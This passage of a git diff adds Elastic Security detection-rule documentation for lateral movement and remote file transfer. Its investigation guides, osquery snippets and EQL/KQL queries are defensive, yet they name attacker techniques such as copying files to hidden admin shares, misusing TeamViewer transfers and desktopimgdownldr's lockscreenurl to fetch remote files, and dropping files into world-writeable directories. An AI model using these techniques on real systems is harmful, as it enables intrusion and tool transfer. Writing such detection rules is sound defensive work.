FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity can happen legitimately. Consider adding exceptions if it is expected and noisy in your environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges needed to write to the network share and restrict write access as needed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [file where host.os.type == "windows" and event.type in ("creation", "change") and + process.pid == 4 and (file.extension : ("exe", "scr", "pif", "com") or file.Ext.header_bytes : "4d5a*")] by host.id, file.path + [process where host.os.type == "windows" and event.type == "start" and + not ( + ( + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Veeam Software Group GmbH", + "Elasticsearch, Inc.", + "PDQ.com Corporation", + "CrowdStrike, Inc.", + "Microsoft Windows Hardware Compatibility Publisher", + "ZOHO Corporation Private Limited", + "BeyondTrust Corporation", + "CyberArk Software Ltd.", + "Sophos Ltd", + "AO Kaspersky Lab", + "Anthropic, PBC", + "Adobe Inc.", + "Netwrix Corporation" + ) + ) or + ( + process.executable : ( + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\*.exe", + "?:\\Windows\\CAInvokerService.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\*\\OneDriveSetup.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.executable : "?:\\SMS_*\\srvboot.exe" and + process.code_signature.trusted == true and process.code_signature.subject_name : "Microsoft Corporation" + ) + ) + ] by host.id, process.executable + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-copy-to-a-hidden-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-copy-to-a-hidden-share.asciidoc new file mode 100644 index 0000000000..89efd385d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-copy-to-a-hidden-share.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-remote-file-copy-to-a-hidden-share]] +=== Remote File Copy to a Hidden Share + +Identifies a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote File Copy to a Hidden Share* + + +In Windows environments, hidden network shares are often used for legitimate administrative tasks, allowing file transfers without user visibility. However, adversaries can exploit these shares for lateral movement or data exfiltration. The detection rule identifies suspicious file copy attempts using common command-line tools like cmd.exe and powershell.exe, focusing on hidden share patterns to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command-line tool used (cmd.exe, powershell.exe, xcopy.exe, or robocopy.exe) and examine the arguments to understand the nature of the file copy operation. +- Investigate the source and destination of the file copy by analyzing the network share path in the process arguments, focusing on the hidden share pattern (e.g., \\*\\*$). +- Check the user account associated with the process to determine if it has legitimate access to the hidden share and assess if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host or user to identify any additional suspicious activities, such as unusual login attempts or privilege escalation. +- Examine the historical activity of the involved host to identify any previous instances of similar file copy attempts or other indicators of lateral movement. +- Consult threat intelligence sources to determine if the detected pattern or tools are associated with known adversary techniques or campaigns. + + +*False positive analysis* + + +- Administrative tasks using hidden shares can trigger alerts. Regularly review and document legitimate administrative activities that involve file transfers to hidden shares. +- Backup operations often use hidden shares for data storage. Identify and exclude backup processes by specifying known backup software and their typical command-line arguments. +- Software deployment tools may utilize hidden shares for distributing updates. Create exceptions for recognized deployment tools by listing their process names and associated arguments. +- IT maintenance scripts might copy files to hidden shares for system updates. Maintain a list of approved maintenance scripts and exclude them from triggering alerts. +- User-initiated file transfers for legitimate purposes can be mistaken for threats. Educate users on proper file transfer methods and monitor for unusual patterns that deviate from documented procedures. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes identified in the alert, such as cmd.exe, powershell.exe, xcopy.exe, or robocopy.exe, that are involved in the file copy attempt. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or unauthorized access. +- Change credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Review and restrict permissions on network shares, especially hidden shares, to ensure only authorized users have access. +- Monitor network traffic for any further suspicious activity related to hidden shares and lateral movement attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and user.id != "S-1-5-18" and + process.name : ("cmd.exe", "powershell.exe") and + process.command_line : "*\\\\*\\*$*" and process.command_line : ("* copy*", "* move*", "* cp *", "* mv *") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-copy-via-teamviewer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-copy-via-teamviewer.asciidoc new file mode 100644 index 0000000000..02a8a51735 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-copy-via-teamviewer.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-remote-file-copy-via-teamviewer]] +=== Remote File Copy via TeamViewer + +Identifies an executable or script file remotely downloaded via a TeamViewer transfer session. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329160957/https://blog.menasec.net/2019/11/hunting-for-suspicious-use-of.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Copy via TeamViewer* + + +Attackers commonly transfer tooling or malware from external systems into a compromised environment using the command and control channel. However, they can also abuse legitimate utilities to drop these files. + +TeamViewer is a remote access and remote control tool used by helpdesks and system administrators to perform various support activities. It is also frequently used by attackers and scammers to deploy malware interactively and other malicious activities. This rule looks for the TeamViewer process creating files with suspicious extensions. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Contact the user to gather information about who and why was conducting the remote access. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check whether the company uses TeamViewer for the support activities and if there is a support ticket related to this access. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the company relies on TeamViewer to conduct remote access and the triage has not identified suspicious or malicious files. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and process.name : "TeamViewer.exe" and + file.extension : ("exe", "dll", "scr", "com", "bat", "cmd", "ps1", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta") and + not + ( + file.path : ( + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*.js", + "?:\\Users\\*\\AppData\\Local\\Temp\\TeamViewer\\update.exe", + "?:\\Users\\*\\AppData\\Local\\Temp\\?\\TeamViewer\\update.exe", + "?:\\Users\\*\\AppData\\Local\\TeamViewer\\CustomConfigs\\???????\\TeamViewer_Resource_??.dll", + "?:\\Users\\*\\AppData\\Local\\TeamViewer\\CustomConfigs\\???????\\TeamViewer*.exe" + ) and process.code_signature.trusted == true + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-creation-in-world-writeable-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-creation-in-world-writeable-directory.asciidoc new file mode 100644 index 0000000000..251ecdbdfb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-creation-in-world-writeable-directory.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-remote-file-creation-in-world-writeable-directory]] +=== Remote File Creation in World Writeable Directory + +This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote File Creation in World Writeable Directory* + + +In Linux environments, world-writeable directories like `/tmp` and `/var/tmp` are used for temporary file storage, accessible by all users. Adversaries exploit these directories to deposit malicious files via remote services such as SSH or FTP, facilitating lateral movement. The detection rule identifies file creation events in these directories by non-root users using common file transfer services, signaling potential unauthorized activity. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path to determine if it matches any known malicious patterns or if it is unusual for the environment. +- Identify the user associated with the file creation event by examining the user.id field, and verify if this user should have access to the affected directory. +- Investigate the process responsible for the file creation by analyzing the process.name field to determine if it aligns with expected usage patterns for the user and system. +- Check the source IP address and connection details related to the file transfer service used (e.g., SSH, FTP) to identify any suspicious or unauthorized access attempts. +- Correlate the event with other recent activities on the host to identify any patterns of lateral movement or other suspicious behavior. +- Review historical data for similar file creation events by the same user or process to assess if this is part of a recurring pattern or an isolated incident. + + +*False positive analysis* + + +- Routine administrative tasks: System administrators often use file transfer services like scp or rsync to move files for legitimate purposes. To reduce false positives, create exceptions for known administrative accounts or specific file paths that are regularly used for maintenance. +- Automated scripts and cron jobs: Automated processes may create temporary files in world-writeable directories. Identify and whitelist these scripts or jobs by their process names or user accounts to prevent unnecessary alerts. +- Software updates and installations: Some software updates or installations may temporarily use world-writeable directories. Monitor and document these activities, and consider excluding specific update processes or package managers from the rule. +- Development and testing environments: Developers may use these directories for testing purposes. Establish a separate monitoring policy for development environments or exclude known developer accounts to minimize false positives. +- Backup operations: Backup tools might use temporary directories for staging files. Identify these tools and their typical behavior, and create exceptions based on their process names or user IDs. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement by the adversary. +- Terminate any suspicious processes associated with file transfer services (e.g., scp, ssh, ftp) that are not part of legitimate user activity. +- Remove any unauthorized files created in world-writeable directories such as /tmp, /var/tmp, or /dev/shm to eliminate potential threats. +- Conduct a thorough review of user accounts and permissions, focusing on non-root users who have recently accessed the system, to identify any unauthorized access. +- Reset credentials for compromised or potentially compromised accounts to prevent further unauthorized access. +- Monitor network traffic for unusual patterns or connections to external IP addresses that may indicate ongoing or additional compromise attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been affected, ensuring a coordinated response. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:creation and +process.name:(ftp or rsync or scp or sftp or sftp-server or ssh or sshd or vsftpd) and +file.path:((/dev/shm/* or /tmp* or /var/tmp*) and not (/tmp/ansible-tmp-* or /var/tmp/ansible-tmp-*)) and +not user.id:0 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-desktopimgdownldr-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-desktopimgdownldr-utility.asciidoc new file mode 100644 index 0000000000..c30cf358cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-desktopimgdownldr-utility.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-remote-file-download-via-desktopimgdownldr-utility]] +=== Remote File Download via Desktopimgdownldr Utility + +Identifies the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via Desktopimgdownldr Utility* + + +Attackers commonly transfer tooling or malware from external systems into a compromised environment using the command and control channel. However, they can also abuse signed utilities to drop these files. + +The `Desktopimgdownldr.exe` utility is used to to configure lockscreen/desktop image, and can be abused with the `lockscreenurl` argument to download remote files and tools, this rule looks for this behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. +- Analysts can dismiss the alert if the downloaded file is a legitimate image. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised 